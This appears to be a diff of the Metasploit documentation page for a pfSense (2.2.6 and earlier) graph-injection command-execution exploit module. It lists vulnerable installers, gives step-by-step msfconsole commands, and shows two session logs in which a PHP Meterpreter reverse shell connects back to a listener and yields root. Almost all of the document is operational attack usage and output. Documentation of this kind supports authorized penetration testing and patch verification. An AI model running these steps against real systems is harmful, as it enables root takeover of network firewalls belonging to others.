|
| 1 | +## Description |
| 2 | + |
| 3 | + This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root. |
| 4 | + |
| 5 | +## Vulnerable Application |
| 6 | + |
| 7 | + This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE |
| 8 | + |
| 9 | + Installers: |
| 10 | + |
| 11 | + * [pfSense 2.2.6-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.6-RELEASE-amd64.iso.gz) |
| 12 | + * [pfSense 2.2.5-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-amd64.iso.gz) |
| 13 | + * [pfSense 2.1.3-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.1.3-RELEASE-amd64.iso.gz) |
| 14 | + |
| 15 | +## Verification Steps |
| 16 | + |
| 17 | + 1. Start `msfconsole` |
| 18 | + 2. Do: `use exploit/unix/http/pfsense_graph_injection_exec` |
| 19 | + 3. Do: `set RHOST [IP]` |
| 20 | + 4. Do: `set USERNAME [username]` |
| 21 | + 5. Do: `set PASSWORD [password]` |
| 22 | + 6. Do: `set LHOST [IP]` |
| 23 | + 7. Do: `exploit` |
| 24 | + |
| 25 | +## Scenarios |
| 26 | + |
| 27 | +### pfSense Community Edition 2.2.6-RELEASE |
| 28 | + |
| 29 | +``` |
| 30 | +msf exploit(unix/http/pfsense_graph_injection_exec) > options |
| 31 | +
|
| 32 | +Module options (exploit/unix/http/pfsense_graph_injection_exec): |
| 33 | +
|
| 34 | + Name Current Setting Required Description |
| 35 | + ---- --------------- -------- ----------- |
| 36 | + PASSWORD pfsense yes Password to login with |
| 37 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 38 | + RHOST 192.168.75.132 yes The target address |
| 39 | + RPORT 443 yes The target port (TCP) |
| 40 | + SSL true no Negotiate SSL/TLS for outgoing connections |
| 41 | + USERNAME admin yes User to login with |
| 42 | + VHOST no HTTP server virtual host |
| 43 | +
|
| 44 | +
|
| 45 | +Payload options (php/meterpreter/reverse_tcp): |
| 46 | +
|
| 47 | + Name Current Setting Required Description |
| 48 | + ---- --------------- -------- ----------- |
| 49 | + LHOST 192.168.75.128 yes The listen address |
| 50 | + LPORT 80 yes The listen port |
| 51 | +
|
| 52 | +
|
| 53 | +Exploit target: |
| 54 | +
|
| 55 | + Id Name |
| 56 | + -- ---- |
| 57 | + 0 Automatic Target |
| 58 | +
|
| 59 | +
|
| 60 | +msf exploit(unix/http/pfsense_graph_injection_exec) > exploit |
| 61 | +
|
| 62 | +[*] Started reverse TCP handler on 192.168.75.128:80 |
| 63 | +[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload |
| 64 | +[*] Triggering the payload, root shell incoming... |
| 65 | +[*] Sending stage (37543 bytes) to 192.168.75.132 |
| 66 | +[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.132:34381) at 2018-01-01 02:07:03 -0600 |
| 67 | +
|
| 68 | +meterpreter > getuid |
| 69 | +Server username: root (0) |
| 70 | +meterpreter > |
| 71 | +``` |
| 72 | + |
| 73 | +### pfSense Community Edition 2.1.3-RELEASE |
| 74 | + |
| 75 | +``` |
| 76 | +msf exploit(unix/http/pfsense_graph_injection_exec) > options |
| 77 | +
|
| 78 | +Module options (exploit/unix/http/pfsense_graph_injection_exec): |
| 79 | +
|
| 80 | + Name Current Setting Required Description |
| 81 | + ---- --------------- -------- ----------- |
| 82 | + PASSWORD pfsense yes Password to login with |
| 83 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 84 | + RHOST 192.168.75.131 yes The target address |
| 85 | + RPORT 443 yes The target port (TCP) |
| 86 | + SSL true no Negotiate SSL/TLS for outgoing connections |
| 87 | + USERNAME admin yes User to login with |
| 88 | + VHOST no HTTP server virtual host |
| 89 | +
|
| 90 | +
|
| 91 | +Payload options (php/meterpreter/reverse_tcp): |
| 92 | +
|
| 93 | + Name Current Setting Required Description |
| 94 | + ---- --------------- -------- ----------- |
| 95 | + LHOST 192.168.75.128 yes The listen address |
| 96 | + LPORT 80 yes The listen port |
| 97 | +
|
| 98 | +
|
| 99 | +Exploit target: |
| 100 | +
|
| 101 | + Id Name |
| 102 | + -- ---- |
| 103 | + 0 Automatic Target |
| 104 | +
|
| 105 | +
|
| 106 | +msf exploit(unix/http/pfsense_graph_injection_exec) > exploit |
| 107 | +
|
| 108 | +[*] Started reverse TCP handler on 192.168.75.128:80 |
| 109 | +[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload |
| 110 | +[*] Triggering the payload, root shell incoming... |
| 111 | +[*] Sending stage (37543 bytes) to 192.168.75.131 |
| 112 | +[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.131:45257) at 2018-01-01 01:03:05 -0600 |
| 113 | +
|
| 114 | +meterpreter > getuid |
| 115 | +Server username: root (0) |
| 116 | +meterpreter > |
| 117 | +``` |
0 commit comments